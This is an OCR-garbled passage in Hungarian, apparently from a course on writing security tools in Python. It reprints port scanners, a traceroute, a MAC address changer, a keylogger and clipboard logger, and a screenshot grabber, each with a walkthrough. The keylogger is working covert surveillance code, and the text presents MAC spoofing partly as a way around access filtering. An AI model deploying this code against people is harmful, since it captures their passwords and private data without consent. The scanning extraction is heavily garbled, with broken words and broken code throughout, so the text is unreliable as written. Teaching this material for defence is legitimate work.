és onnan tovabbi tAmadasokat indithatnak.

4 . Adatszivs8§rgg8s ®s inform8ci-gyTjt®s: A t&mad-
inform8ci -kat gyTjteni a rendszerrRI ®s annak Kk
szamukra a rendszer gyenge pontjainak feltérképezéséogabbittamadasi stratégiak kialakitasara.

5. Szolgaltatdsmegtagadasi (DoS) tamadasok: Nyitott portokon keresztil a tamadok
szolgaltatdsmegtagadasi tamadasokat is indithatnak, amelyek célja a rendszer vagy szolgaltatas
mTke d®s®nek megzavar §sa. 'l yen t 8madS§8sesmddottsor 8n
porton futd szolgéaltatasnak, amivel tulterhelik azt, ami végll a szolgéltatas lealldsahoz vezethet.

6 . Mal ware ®s botnet fertRz®s: A t8mad-k a nyit
programokat juttassanak a rendszerre, vagy hogy a szamitégépet botnethal6zathoz csatlakoztassak.
Ezg8ltal a fertRz°tt r en damadé halomigészekért szglgalbad, példduP b b g
tovabbi tAmadéasok inditdsdhoz vagy spamkildéshez.

A nyitott portok elleni védekezés
A nyitott portok kockazatanak minimalizalasahoz érdemes csak a sziikséges portokat engedélyezni, a

nem sz¢iks®geseket pedi g l ez8&rni . Tov8bhbsg a r e
behatolasvédelmi rendszereket (IDS) és rendszeres portszkennelésdket gy el | en Rr i z z ®k
a hgl . -zati portokat. Emel l ett fontos a szoftver
®s hiteles2t ®si m- dszer ek al kal maz 8s a, ®s a h §

megel Rz®se ®rdek®ben.
Az aldbbi kéd egy port scannert valésit meg python nyelven

https://www.geeksforgeeks.org/p@tannetusingpython/

import  pyfiglet

import  sys

import  socket

from datetime import datetime

ascii_banner = pyfiglet .figlet_format ("PORT SCANNER"
print (ascii_banner )

©COoNOOMWNE

# Defining a target
if len(sys.argv) == 2:

PR
N e o

# translate hostname to IPv4

target = socket . gethostbyname (sys. argv [ 1])
else :

print ("Invalid ammount of Argument" )

e e
N Ok~ w

. # Add Banner

print ("-" * 50)

print ("Scanning Target: " + target )

print ("Scanning started at:" + str (datetime . now()))
. print ("-" * 50)

NN
W kF oo

try :

SN
o~

# will scan ports between 1 to 65,535

for port in range (1, 65535):
s = socket . socket (socket . AF_INET, socket . SOCK_STREAM
socket . setdefaulttimeout (1)

N NN
©No

N
©
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30. # returns an error indicator

31. result = s.connect_ex (( target , port ))

32. if result == 0:

33. print ("Port {} is open” . format (port ))
34. s. close ()

35.

36. except Keyboardinterrupt

37. print ("\n Exitting Program !!" )

38. sys. exit ()

39. except socket . gaierror

40. print ("\n Hostname Could Not Be Resolved !!!l!" )
41. sys. exit ()

42. except socket . error :

43. print ("\ Server not responding " )

44, sys. exit ()

45,

PORT SZKENNERPYTHON-NMAP SEGITSEGEVEL

https://www.geeksforgeeks.org/patanneusingpythonnmap

EIl sR | ®p®s a tel ep?t ®s:
pip install python - nmap

import nmap

1

2.

3. # take the range of ports to

4. # be scanned

5. begin =75

6. end = 80

7.

8. # assign the target ip to be scanned to
9

. #avariable
10. target = '127.0.0.1°

12. # instantiate a PortScanner object
13. scanner = nmap PortScanner ()

14.

15. for i in range (begin, end+1):

16.

17. # scan the target port

18. res = scanner .scan(target ,str (i))
19.

20. # the result is a dictionary containing

21. # several information we only need to
22. # check if the port is opened or closed
23. # so we will access only that information
24, # in the dictionary

25. res = res['scan' | target ][ 'tcp' ][ i][ 'state’ ]
26.

27. print (f'port {i} is {res}.' )

28.

Koéd elemzése
Importélasok:

pyfiglet: ASCII karakteres grafikegeneréldsara hasznalhatd, amelypragramban a bannerhez
szilkséges.

sys: Parancssori argumentumok kezeléséhez.

60


https://www.geeksforgeeks.org/port-scanner-using-python-nmap

BIZTONSAGI ESZKOZOK FEJLESZTESE PYTHON NYELVEN

socket: Hal6zati kommunikaciéhoz szikséges Python konyvtar, amelykdgeBolatokat és
portkezelést biztosit.

dateti me: |l dRb®l yeg hozz8ad8s8hoz, ami megj el en?2

Banner létrehozasa:

1. ascii_banner = pyfiglet .figlet format ("PORT SCANNER"
2. print (ascii_banner )

A pyfiglet konyvtar hasznalataval "PORT SCANNER" felirat jelenik meg ASCIl formaban, hogy
vizualisan jelezze a program céljat.

Célpont definialasa:

1. if len(sys.argv) == 2:

2. target = socket . gethostbyname (sys. argv [ 1])
3. else:

4. print ("Invalid amount of Argument” )

5.

A program parancssori argumentumokat var; konkrétan egy darab argumentumot, amely a célpont
hosztneve vagy Heime. Ha megadtak az argumentumot, akkor azt IPv4 cimre forditja
(socket.gethostbyname(sys.argv[1])), amely a célportirtét adja vissza. Ha nis megadva a
szikséges argumentum, a program értesitést kild a felhasznalénak, hogy az argumentumok szama
helytelen.

Baoner ®s kezd®si i dR kijelz®se:
1. print ("-" * 50)

2. print ("Scanning Target: " + target )

3. print ("Scanning started at:" + str (datetime . now()))

4. print ("-" * 50)

A kbéd szdveges bannert ad meg, amely megjeleniti a célparimiét és a szkennelés kezdetének
i dRpont | 8§t

Portok szkennelése:

1. for port in range (1, 65535):

2. s = socket . socket (socket . AF_INET, socket . SOCK_STREAM

3. socket . setdefaulttimeout (1)

4.

5. result = s.connect_ex (( target , port ))

6. if result == 0:

7. print ("Port {} is open" . format (port ))

8. s. close ()

A program itt egy for ciklust hasznal, hogy az 6sszes, 1 és 65535 kozotti portot atvizsgalja. Minden
porton | ® rehoz egy TCP socket kapcsolatot (socl

e. A connect_ex metodus egy értéket ad vissza, amely Oplmat el ®r het R (nyi tva
egyéb hibakdd), ha a kapcsolat nem jott Iétre (zart port). Ha a port nyitva, akkor kiirja: "Port [port szam]
is open".

Hibakezelés:

KeyboardInterrupt: Ha a felhasznalé megszakitja a programot (Ctrl + C), akkor a program ezt érzékeli
és Uzenetet kild: "Exiting Program 1",

socket.gaierror: Ha a célzott hosztnevet nem lehet feloldasimiRe, a program értesiti a felhasznalét:
"Hostname Could Not Be Resolved !!!!".

socket.error: Ha a célzott szerver nem valaszol, akkor kiirja: "Server not responding !!!!".
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Ez a k-d minden portot megvi zsgsgl, ami jelentRs
akkor, ha a h8l - -zati kapcsolat | ass¥% vagy a c®lI
portszkennel ®s h 81 - z at iitcsak 8kkoa sk&adrfudtdini, hajogosultsadriske, | h e t
van a c®lrendszer ell enRrz®s®re.
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ALTALANOS UDP ESTCP SZKENNER IMPLEMENTACIO PYTHONBAN

Az 4ltaldnos UDP és TCP port szkennerek joval atfogobb és részletesebb elemzést nyljtanak a haldzati

infrastrukt¥Wra 8l apot &r - | az egyszerT port szk
gyakr an cs ak-szkehmelgssvegen addig amflis szkennerek mind a TCP, mind az
UDP portokat el l enRrzi k. Ez k¢l ©°n°sen font os,

szolgéltatdsok, példaul a DNS vagy a DHCP, amelyek saimtégalhatok

Az 8l tal 8nos szkennerek gyakran k¢l °nb°zR szken
példaul a gyors és teljes szkennelés, SYN szkennelés, teljes kapcsolat szkennelés, illetve null vagy

Xmas szkennel ®s. Ezekkel amBcdskatelgkhyellj t h2®l @ & ¢
szol g8l tatsg8sokr -1, ®s nagyobb es®l | yel fedhet ¢t
szkennelés soran rejtve maradnanak.

Az 8ltal8nos szkennerek ezen felg¢l di agnoszti ke
funkciot vagy operéacios rendszer azonositast (OS fingerprintinget), amivel tovabbi kontextust adnak a
hal6zat és a kapcsol6do eszk6zok megismeréséhez.eEr lehv ® t eszi, hogy a bi ztc

hibakeresést pontosabban lehessen végezni.

Ezek a szkennerek emellett komplex hal6zati topoldgiak elemzésére is alkalmasak, mivel tamogatjak a
nagyobb hal6zati tartomanyok,-ttmtartomanyok és hélézati szegmensek szkennelését, szemben az
egyszerT szkennerekkel, a meimgnedolgozBdk.t igyl Bagyabbb ¢ s a k
rugalmassagot biztositanak, és segitenek a rejtett vagy részben korlatozott halézati hozzaférések
feltérképezésében, amit az UpRotokoll kezelése kiléndsen kihivasossa tesz.

https://github.com/drakeloud/pythonScanner

#!/usr/bin/python
from _ future__ import print_function

import argparse

import o0s

import  socket

import  sys

from datetime import datetime

CoNoOrWNDE

10. from netaddr import IPNetwork

12. # Set up argparse

13. parser = argparse . ArgumentParser ()
14. parser . add_argument( "hosts" )

15. parser . add_argument( "ports" )

16. parser . add_argument("-u", "-- UDP' help ="Perform a UDP scan on the ports specified"
action ="store_ true" )
17. parser . add_argument("-t" , "-- traceroute" , help ="Use traceroute with the scan"

action ="store_ true" )

18. args = vars (parser . parse_args ())
19.

20. # Start timer! woo hoo!

21. timeOne = datetime . now()

22.

23. # Clean the ports that you received
24. portsUgly = args| 'ports' |
25. ports = portsUgly .split ("," )
26. UDP= args['UDP']

27. hostValue = args|'hosts' |
28. hosts =[]

29.

30.

31. def clear_screen ():

32.
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33. Clear screen that handle multiple OS.

34.

35. if 0s.name == 'nt'

36. 0s. system('cls' )

37. else :

38. 0s. system(‘clear’ )

39.

40.

41. def scan_ports (host):

42.

43. Function to get the ports for every host

44.

45. try :

46. for port in ports :

47. # Goes through each port in range

48. port = int (port )

49. # Here's the scan of the port

50. if UDP

51. sock = socket . socket (socket . AF_INET socket . SOCK_DGRAM
52. else :

53. sock = socket . socket (socket . AF_INET, socket . SOCK_STREAM
54.

55. result = sock.connect_ex (( host, port))

56.

57. if UDP

58. if result == 0:

59. print ("UDP Port {}: \t Open" . format (port ))
60. else :

61. if result ==0:

62. print ("TCP Port {}: \'t Open" . format (port ))
63. sock. close ()

64.

65. # Error handling if something goes bad

66. except socket . gaierror

67. print ('Couldnt find hostname. The hostname may be invalid or incorrect.'
68. sys. exit ()

69. except socket . error :

70. print ('Bad connection to server. Try again later.' )
71. sys. exit ()

72. except Keyboardinterrupt

73. print ('Bye.." )

74. sys. exit ()

75.

76.

77. if __pame__=="'_main__'

78. clear_screen ()

79. print (

80. print (" Scanning hosts, please wait..." )
81. print (

82. print (")

83. print ("User entered ports: " , portsUgly )

84. print (")

85. print ("User entered hosts: " , hostVvalue )

86. print (")

87. if UDP

88. print ("Currently Scanning UDP ports..." )

89. else :

90. print ("Currently Scanning TCP ports..." )

91. print (")

92.

93. # Get Hosts Values

94. if "/ in hostValue :

95. ip = IPNetwork (hostValue )

96. ip_list = list (ip)

97.

98. for ip in IPNetwork (hostValue ). iter_hosts ():

99. hosts . append('%s' %ip)

100.

101. else :

102. hosts . append( hostValue )
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103.

104. 31| R (———— RESULTS------------- ")

105. for host in hosts :

106. print ("Scanning host: " , host)

107. scan_ports (host)

108. print (")

109.

110. timeTwo = datetime . now()

111.

112. finalTime = timeTwo - timeOne

113. print ("Scan finished in the following time: " , finalTime )

114. print ( )
115. print (" Hosts Scanned. Finishing up... ( -.-)Z2zz..." )

116. print ( )

Kod részletes elemzése
Konyvtarak importalasa:

argparseparancssorar gument umok kezel ®s ®hez sz¢iks®ges, | e
paramétereket adjon meg (pl. host, port).

0s, socket, sysr e n d s z dunkcigkg gakzati kommunikacioé, és rendszerhiba kezeléséhez
szikségesek.

datetimei d R b ®bzjtésdhez, hogy mérjilksaz k e nnel ®s i dRt art am8§t

netaddr.IPNetworkt e h etesE\h@y egy IRartomanyt IPhaldzat formajaban adjon meg, példaul
"192.168.1.0/24".

Argumentumok bedllitAsa argparse hasznalataval:

1. parser = argparse . ArgumentParser ()
2. parser . add_argument("hosts" )
3. parser . add_argument( "ports" )

4. parser . add_argument("-u", "-- UDP' help ="Perform a UDP scan on the ports specified"
action ="store_ true" )
5. parser . add_argument("-t", "-- traceroute" , help ="Use traceroute with the scan"

action ="store_ true" )
6. args = vars (parser . parse_args ())

Az argparse seg2ts®g®vel az alkal mazg8s el fogadj a
hosts:egyvagy tobb IPcim vagy IPtartomany, amit szkennelni szeretnénk.

portssas zkennel endR portok felsorol 88sa, vesszRvel el
-u, --UDP: hamegadjuk, a szkenner UB#Rotokollt fog hasznalni.

-t, --traceroutel e h e & tRase®qgte futtatasara, bar a kddban nincs teljes mértékben implementalva.

|l dRz2t ®s apre@grd @dam8aa: aktus8lis idRt ment i ti meOne
i dRtartam8t m®r | e.

Portlista tisztitAssap or t sUgly v8l toz-ban kapott portlista Vv
egyes portokat kulon listaelemmé alakitja a split() figgvénnyel.

K®pernyRatPea®segcreen fée¢gogv®eny pl atformfgiggget | e
k¢l ©°nb°zR oper8ci-s rendszereknek megfel el Ren ha

Portszkennelés scan_ports figgvénnyel:

A scan_ports(host) a figgvény végzi a szkennelést minden megadott porton az adott hostnal:
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A portokat egyesével szkenneljik a TCP vagy UDP protokoll hasznédlataval. A kivalasztott protokollnak
megf el el Ren i nicializ8Il ] are @s SOOCK EKTREAMt a TCR,F _| NET
SOCK_DGRAM az UDRe).

A connect _ex met- -dust al kal mazza, amely 0 ®rt®ke
nyomtatja ki, hogy a port nyitva van

Hibakezelés: A fiiggvény kulénféle hibakat kezel (pl. socket.gaierror, ha a hosztnév nem talalhaté, vagy
socket.error a kapcsolédasi hibak esetén).

FR progr am:

K®pernyR t°rl ®se ®s ¢(zenet ek kmintavadlseitett tizendtétr | i a
jelen2t meg a szkennel ®s megkezd®se el Rtt.

IP-tartomany feldolgozasa: Ha a felhasznalé egytali®omanyt ad meg CIDRotaciéban (pl.
192.168.1.0/24), a netaddr.IPNetwork és iter_hosts() segitségével elkésziti a megitmidnyt
tartalmazo lista értékeit.

Szkennelés inditdsa minden hostiEisszes megadott hosztot és portot végigszkenneli, és a scan_ports
fuggvényt hivja megninden IRcimre.

|l dRz2t ®s dprog§maint §®F®n ki sz8&8m2tja a szkennel ®s i
majd ki?2rja az idRtartamot.

Hibakezelés

A kod tébbféle hibakezelési modot alkalmaz:

Hostnév feloldasi hiba (socket.gaierratesitia felhasznal6t, ha a hoszt érvénytelen.
Kapcsolddasi hiba (socket.erronpa szerver nem valaszol, hibalizenetet ad vissza.

Megszakitas kezelése (Keyboardinterrupga felhasznalé6 megszakitja a programot, lizenetet jelenit
meg és bezarja az alkalmazast.

Megjegyzések és javaslatok

Traceroute opcitbdra par ancssorban el ® hetR, a traceroute
A traceroute funkci - implement 8l 8s8hoz Pythonban
teszia TTL (TimeTo-Li ve) be8l | 2t8s8t, vagy haszn8l hatjuk

halézati csomagok kezelését és a traceroute folyamatdenhutatom mindkét médszert.
1. Traceroute implementalasa a socket konyvtarral

A TTL bedllitasaval minden lépésnél noveljik annak értékét, és figyeljik, hogy a csomag melyik
%t vonal on halad a c®l 81 1 om8s f e-e&célpoMotnden hopn§8l

1. import socket
2. import time

w

4. def traceroute (target , max_hops=30, timeout =2):

5. print (f"Traceroute to {target}" )

6 for ttI in range(1, max_hops + 1):

. with socket . socket (socket . AF_INET, socket . SOCK_RAWsocket . IPPROTO_ICMP as
recv_socket , \

\‘ -

8. socket . socket (socket . AF_INET, socket . SOCK_DGRAMocket . IPPROTO_UDPas
send_socket :

9.

10. recv_socket . settimeout (timeout )
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11. recv_socket .bind (( ", 33434))

12. send_socket . setsockopt (socket . SOL_IP, socket . IP_TTL, ttl )
13.

14. start_time = time . time ()

15. send_socket . sendto (b" , (target , 33434))

16.

17. try :

18. _, curr_addr = recv_socket .recvfrom (512)

19. curr_addr = curr_addr [O0]

20. time_taken = (time.time () - start_time ) * 1000
21. print (f"{tt} \t{curr_addr} \t{round(time_taken, 2)} ms" )
22.

23. if curr_addr == target :

24. print ("Traceroute complete." )

25. break

26. except socket . timeout :

27. print (f"{ttl} \t* \tRequesttimed out." )

28. except Keyboardinterrupt

29. print ("Traceroute aborted." )

30. break

31.

HALOZATI KARTYA FIZIKAI CIMENEK MEGVALTOZTATASA LINUXON

A halézati kartya fizikai cimének (MACimének) megvaltoztatdsa Linuxon szamos célra szolgal,

k¢l °n®sen adatv®del em, hS8l . -zati hozz§8f ®r ®s ®s sy
a MAC-cim modositasa fokozza az anonimitast és az adatvégleimivel ez az egyedi azonosité

l ehet Rv® teszi a h8l:-zatok sz8m8ra az eszk®°z°k Kk
MAC-c 2 m®t , kev®sb® | esz egy®rtel mTen ny omon ko°ov

halézatokon, ahol a halozati aktés nem kivant rogzitését szeretnék elkerdilni.

A MAC-cim médositasa hozzaférési korlatozasok megkerilésére is alkalmazhaté. Sok halézat MAC

c2m al ap¥% szTr®st haszn8l, ami azt jelenti, hogy
A MAC-cim megvaltoztatadsa igy hozzaférést biztosithatrezek haldzatokhoz, bar ezt a médszert
ker¢ltekint Ren kel al kal mazni , mer t j ogi k°vet

csatlakozas.

A hal6zati hibakeresés és tesztelés soran is hasznos lehet aciMA@®Gdositasa, hiszen a
rendszergazd8k 2gy k¢l onf®l e szcen8ri-kat szi mul
mTko d®s ®t , -szabaljoadsiz dli@sokas és kilvafébszkdzcsoportra vonatkozd
szabalyokat, hogy medfigyeljék a halozati forgalom viselkedését.

A MAC-cim megvaltoztatasa DHG&apu haldézatokon Heim Gjrakiosztaséra is alkalmazhaté, mivel
a DHCP rendszer gyakran a MA®Im alapjan oszt ki Heimeket. Ha a felhasznal6 megvaltoztatja az
eszkdz MACcimét, Uj IRcimet kaphat, ami hasznos lehet a haldadbaelharitasban, vagy olyan
esetekben, amikor az eszkdz Gjdire van sziksége.

https://github.com/rajan98/macky

import  subprocess
import argparse
import re

def find_mac (interface ):
try :
result = subprocess . check output ([ 'ifconfig' , interface )
except :
10. print ([ -] Device Not found' )
11. exit ()
12. all_mac = re.search (r"\wAw:\whw:\whw:\whw:\ww:\vhw", str (result ))

©COoNoTO,ONE
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13. if not all_mac :

14. return  None

15. return all_mac . group (0)

16.

17.

18. def change_mad interface , new_mag¢:

19. print ('[+] Changing MAC of {0} to {1}' . format (interface , new_mag)
20. oldMac = find_mac (interface )

21. if oldMac:

22. print ('old MAC: {0}' . format (oldMac))

23. subprocess . call ([ 'ifconfig' , interface , ‘'down'])

24, subprocess . call ([ 'ifconfig' , interface , 'hw' , ‘ether’ , new_mag)
25. subprocess . call ([ 'ifconfig' , interface , 'up' ])

26.

27. newMac= find_mac (interface )

28. if newMac

29. if newMac== oldMac:

30. print ([ -] Unable to change the MAC address' )

31. else :

32. print ('[+] MAC address was changed Successfully to {0} . format ( newMag)
33. else :

34. print ([ -] Could not Find MAC address for specified interface' )
35.

36.

37. def main():

38. parser = argparse . ArgumentParser (

39. description  ='This script is used to change the Mac address of any network card' ,
40. epilog = 'This is how you use this script'

41. )

42. parser . add_argument ( 'interface’ , help ='Enter the name of the interface’ )
43. parser . add_argument('mac' , help ='Enter new MAC address' )

44,

45, args = parser . parse_args ()

46.

47. change_mad args . interface , args.mag

48.

49.

50. if __name__=="__main_":

51. main()

52.

Kéd elemzése

AfentiPyt hon k- d e gyimedtyzsta esekdz, avha\CLinux rendszereken fut. A
program a felhasznal6tdl kapott halozati interfész nevét és Gj-MA@t haszndlja, és az interfész
MAC-cimét megvaltoztatia a kivant értékre. Az eszkdz subprocess modkeoasztil
rendszerparancsokat hajt végre az ifconfig parancs segitségével.

Importalasok:
subprocesx ¢, | par&hcsok futtatasara hasznaljak, jelen esetben az ifconfig parancsot hivja meg.

argparseparancssom r gument umok kezel ®s®r e haszn8l j 8k, hog
az interfészt és az Uy MACImet.

re: regulariskifejezések tAmogatasara, amelyet a Méi@ek mintainak felismerésére hasznalnak.
find_mac figgvény:
A find_mac figgvény az adott halozati interfész aktudlis MAGét keresi meg.

subprocess.check_output(['ifconfig’, interface]) parancsot hasznal az ifconfig kimenetének
lekérdezésére, majd regex segitségével keresi ki a-MAEt.

Ha az interf®sz nem tal 8l hat - vagy hi b8t ad vi s
found" és kilép a programbol.
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A regex mintaval (fMw:\wiw:\wWiw:\wiw:\w\w:ww* ) me gt al 8§ |-ginaet askimenetbes, R MAC
majd visszaadja.

change_mac fuggvény:

A change_madiggvény megkapja az interfész nevét és az Uj MAGet, majd a MAGImM
megvaltoztataséért felel.

Kiirja, hogy melyik interfész MA&imét fogja megvaltoztatni.

Meghivja a find_mac fuggvényt az aktualis (régi) MAfn lekérdezésére, és kiirja az aktuélis MAC
cimet.

Az interfészt ledllitja az ifconfig [interface] down paranccsal, beallitja az Uj Mkt az ifconfig
[interface] hw ether [new_mac] paranccsal, majd Ujrainditja az interfészt az ifconfig [interface] up
paranccsal.

Ezt k°vet Ren i sm®t clPane®r,i ®xz ed Kk teunn RNbimz sikerbs® gy a z
bedllitdsra keride. Ha a MACcim nem valtozott, a program Kkiirja, hogy nem sikerilt a cim
megvs8ltoztat8sa, ellenkezR esetben jelzi a siker

main figgvény:

Az argparse modult hasznalla a parancssori argumentumok feldolgozasara. A
parser.add_argument('interface") bedllitja az interfész nevét, mig a parser.add_argument('mac’) az (j
MAC-cimet kéri.

Az args valtoz6 a parancssori argumentumokat tartalmazza, amelyeket a change_mac fliggvénynek ad
at a MAGcim véltoztatasara.

FRprogram szakasz:

A main() figgvényt akkor hivja meg, amikor a szkript kozvetlenul futtatva van (if __name__ ==
"__main__").

A felhaszndélé megadija az interfész nevét és az (] Milviet, és a program ezt az informaciét hasznalja
a MAC-cim valtoztatasara.
Megjegyzések

Ez a program megvaltoztataaMAC2 met , de csak akkor mTkoedi k, ha
jogosultsagai vannak. Ez azért fontos, mert az interfészek-M&€nek mddositasa adminisztratori
jogosultsadgokat igényel. Az eszkdz kulonféle hibakezetesi et Rs ®ge ket tartal maz,
hogy a megadott interfész léteakilletve hogy a MAGim modositasa sikertit
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KEYLOGGER

A keyl ogger egy olyan szoftver vagy hardvereszk?®
rogziti, altalaban a felhasznalé tudta nélkil. Célja, hogy érzékeny adatokat, példaul jelszavakat, banki
adat okat vagy felhaszmh§lekmeevek@stRbdpy Tg t 6 8 mad-e, f
tov8bb2that egy k¢l sR szerverre. A keylogger pro
egy fajlba, vagy titokban tovabbitja azokat, igy a felhasznél6d nincs tisztaban a jelenlétével.

Hardveres form8ban a keyl ogger egy olyan eszk?®

csatl akozi k, vagy k°%°zvetl eng¢l a billentyTzethbe
sz8§m2t- - g®pt RI . Az ilyen eszWkPz®E@tkraokasmi orel hadehi
felhaszn8l -k szem®|lyes adatainak titkos megfigy:¢

fel haszn8l 8si m-dok is, p®l d8ul sz¢l Ri fel¢ggyel e

https://www.instructables.com/KeyClgKeyloggerClipboardLoggerWith-Python3/

from pynput . keyboard import Listener
from pyperclip import paste

import logging

from time import sleep

import threading

Nogh,rwbhr

. logging . basicConfig (filename ='KeyClip.log' , level =logging . INFQO, format ='%(asctime)s:

%(message)s')

© o=

def onPress (key):
10. logging .info ('Key: ' + str (key))

12. def keyLogger ():
13. with Listener (on_press =onPress) as | :
14. I join ()

16. def clipLogger ():

17. prevClip ="

18. while True:

19. clip = paste ()

20. if prevClip !'= clip :

21. logging . info ('Clip: ' + clip )
22. prevClip = clip

23. sleep (0.2)

25. keyThread = threading . Thread (target =keylLogger)
26. clipThread = threading . Thread(target =clipLogger )

28. keyThread . start ()
29. clipThread . start ()

Kod elemzése

Ez a Python k-d egy egyszerT keylogger ®s clipbc
avagolap (clipboard) tartalméat rogziti, majd ezeketdaokat egy naplofajlba menti. A kod tobb szalat
haszn8l, 2gy a billentyTle¢t®seket ®s a v§g-1|ap

Koyvtarak importalasa:

pynput.keyboardeza k°nyvt 8r | ehet Rv® teszi a billentyTle
tudj a, ami kor a felhaszng8l - billentyTt nyom | e.
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pyperclip: ezzela kényvtarral a program hozzafér a vagolaphoz, és a paste() fuggveny segitségével

lekérdezi a vagolap aktualis tartalmat.

logging:anapl - z8s®rt felelRs, amel |l yel az adatokat e
menti.

time.sleep és threading s z §1 a k kezel ®s®hez haszn8l at osak, a
billentyTle¢t®sek ®s a v8g-lap tartal m8&8nak napl
Logolas bedllitasa:

1. logging . basicConfig (filename ='KeyClip.log" , level =logging .INFO, format ='%(asctime)s:

%(message)s')

A logging modul beéllit egy napl6zasi konfiguraciét, amely a naplozott Uzeneteket a "KeyClip.log"
f8) I ba menti. Az ¢zenetek i dRb®l yeggel izene
k®s Rbb visszak°vethetRk | egyenek.

onPress flggveény:

1. def onPress (key):

2. logging .info ('Key: ' + str (key))

3.

Ez a f¢éggv®ny minden egyes billentyTle¢gt ®sn®l
napl -f8jl ba. Az onPress f¢gggv®ny konvert8lja a b
keyLogger fuggvény:

1. def keyLogger ():

2. with Listener (on_press =onPress) as | :

3. I.join ()

4.

A keylLogger f¢ggv®ny | ® rehoz egy Listener objelk
|l enyomott billentyT az onPress fg¢gggv®nyt h2vja o
amig a program le nem all.

clipLogger fliggvény:

1. def clipLogger ():

2 prevClip ="

3 while True:

4, clip = paste ()

5. if prevClip != clip :

6 logging .info ('Clip: ' + clip )

7 prevClip = clip

8 sleep (0.2)

9.

Ez a flggvény folyamatosan figyeli a vagolap tartalméat. Az (alStggvény segitségével lekérdezi a

v8g-l ap aktus8lis tart al m§tarplttélRakkormaplozaa atvatozésg éso m e |
frissiti a prevClip véltozot. Ez a folyamat 0,2 masodperces késleltetéssel fut, hogy csokkentse az

er Rforr8si g®nyt ®s el ker¢lje a t %l gyakori |l ek ®r

Szalak létrehozasa és inditasa:

1. keyThread = threading . Thread(target =keylLogger )
2. clipThread = threading . Thread(target =clipLogger )
3.

4. keyThread . start ()

5. clipThread . start ()

6.
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A program k®t k¢l °n8l 1l - sz8&8l at hoz | ®re, amel ye
figyel ®se p8rhuzamosan t°rt®njen. Az keyThread
hasznélataval, mig a clipThread a vagolap valtozdisgieli a clipLogger flilggvény segitségével.

Mindkét szal kilon fut, igy a két folyamat nem zavarja egymast.

KEPERNYi RY¥GIZETESE

A k®pernyR r°gz2t®se a biztons§ggi al kal maz8sokhb

megfigyel ®s ®ben, Vi ssza®l ®sek azonos?2tg§s8ban, ®
biztonséagi célokat szolgélhat, példaul adatvédelem, insedemzés és jogosulatlan hozzéaférés elleni
védelem terlletén.El Rs z°r i s, a k®pernyR regz2t ®se has

dokumentélasaban és elemzésében. Ha regglszerben gyanus vagy szokatlan tevékenységet
®szl el nek, a k®pernyRfelv®tel ek ®s r°gz2tett vi
hozz8 a rendszerhez, ®s milyen mTveleteket hajt
pontos k¢ et kapni az esem®nyek menet ®r RI , ®s r ®s
felhaszn8l hatnak a sebezhet Rs®gek kijavwv2t 8s8r a
k®pernyRr°gz2t ®s emel | ett hasznos eszk®°zk | ehet
ell enRrz®s®re olyan k°rnyezetekben, ahol szigor
pénzugyi intézményekben, korményzati szerveknél vagy egészségugyi rendszerekben, ahol a bizalmas
adat okhoz csak meghat 8§r ozot t élygk ofgriemek | hHoz=® gao k k a |
k®pernyRr°gz2t®s ell enRrzi, hoewnhoazaférésisiabilyoka z ot t a
és eljarasokatA k®per nyR r°gz2t ®se akkor is hasznos | e
azonositani vagy bizonyitanHa egy tdmadd hozzaférést szerez egy rendszeren belll, a régzitett
k®pernyRfel vt el ek bizony?2t ®kk®nt szol g8l hat nak
hogyan tortént a hozzaférés, és milyen informécidkat érhetett el a tAmado6. Ez kiléndésen fon

ki bberbTn°z®s elleni nyomoz8sokns8&l, mivel a vizust
tényétés hatasal.®g ¢, 1 a k®pernyR r°gz2t®se oktatsgsi ®s bi
| ehet Rs®get ny¥%jt aogykelenzezzéknasedhgsznal@ w\a&herységeken ésljobb h
biztonsagi megoldasokat dolgozzanak ki a szokasos felhasznaléi hibak és biztonsagi résekkel
kapcsolatos mintak alapjan.

A k®pernyRr°gz2t®s funkci- potenci 8lis sebezhet K
a felhasznaloi tevékenységet rogziti, amelyeket egy tamado rosszindulat( célokra hasznalhat fel. Ha a
k®pernyRr°gz2t R f unkcia;vagy illatéktalen szengelyek féghétriRlehozzdhy i zt o
akkor ez komoly adatv®del mi ®s biztons§8gi kock
begy Tjt°i példaal dedsravak, hitelkartyaadatok, személyes informéaciok és munkahelyi
dokumentumoK mind cépontok lehetnek, ha egy tamadd hozzafér a rogzitett tartalmakhoz. Az ilyen
informaciok kiszivargasa veszélyeztetheti a személyes és vallalati adatokat, és jogi kdvetkezményekkel
jarhat a személyes adatok védelmének megsértése miatt. Tovabba, ha egy séndeteny vagy

nem megfelel Ren biztos2tott, egy t 8mad- ki haszn.
eszk?®°zk®nt , amely | ehetRv® teszi, hogy f ol yamat
kilonosen kritikus kockazat olyan szervietke esetében, ahol érzékeny vagy titkos informéaciokat
kezelnek.

Tegylk fel, hogy a osszi ndul at % k-d esetleg k®pernyRk®pet
bemutatja, hogyan lehet ezt megvalositani a pythonban.

https://www.geeksforgeeks.org/hee-take screenshotsisingpython/

pip install numpy
pip install pyautogui
pip install opencv - python
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# Python program to take
# screenshots

import numpy as np
import cv2
import  pyautogui

©COoNOGOMWNE

=
©

# take screenshot using pyautogui
image = pyautogui . screenshot ()

e el
wn ke

. # since the pyautogui takes as a

# PIL(pillow) and in RGB we need to

. # convert it to numpy array and BGR

# so we can write it to the disk

image = cv2. cvtColor (np.array (image),

el el
© NG~

cv2. COLOR_RGB2BGR

N =
S

. # writing it to the disk using opencv
. cv2.imwrite ("imagel.png" , image)

NN
N -

Kéd elemzése
Konyvtarak importalasa:

numpy:ak ®padat okat tS8rol - t°mb kezel ®s®r e szol gs§l ,
k®padat okat egyszer T-aeh. 8§t tudja adni az OpencCV
cv2 (OpenCV):ak ®pf el dol goz 8si mTvel etek v®grehajtgssgh
konvertalasara és tarolaséra.

pyautogui : A k®pernyRKk®p k®sz2t ®s ®r e szol ggl ,
hasznaljak.

K®pernyRk®p k®sz2t ®se:

image = pyautogui.screenshot()

A pyautogui.screenshpot) f ¢ ggv®ny haszn8l at 8§val a k-d egy k®
A screenshot() figgvény visszatérési értéke egy PIL (Pillow) képet ad vissza, amely RGB (voros, zold,

kék) szinformatuma.

Szinkonverzié és tipuskonverzio:

image = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)

Az OpenCV alapértelmezésben BGR (kék, zoéld, vords) szinformatumot haszndl, igy a cvtColor
flggvénnyel az RGB BGR formatumra konvertalja a képet. A np.array(image) segitségével a PIL
képet NumPy témbbe alakitja, amit az OpenCV tud kezelni. Ez a konsa&it sziikséges, mert a
pyautogui.screenshot() visszatérési értéke nem kozvetlenll hasznalhaté az ®penCV

Kép mentése a lemezre:

cv2.imwrite("imagel.png”, image)
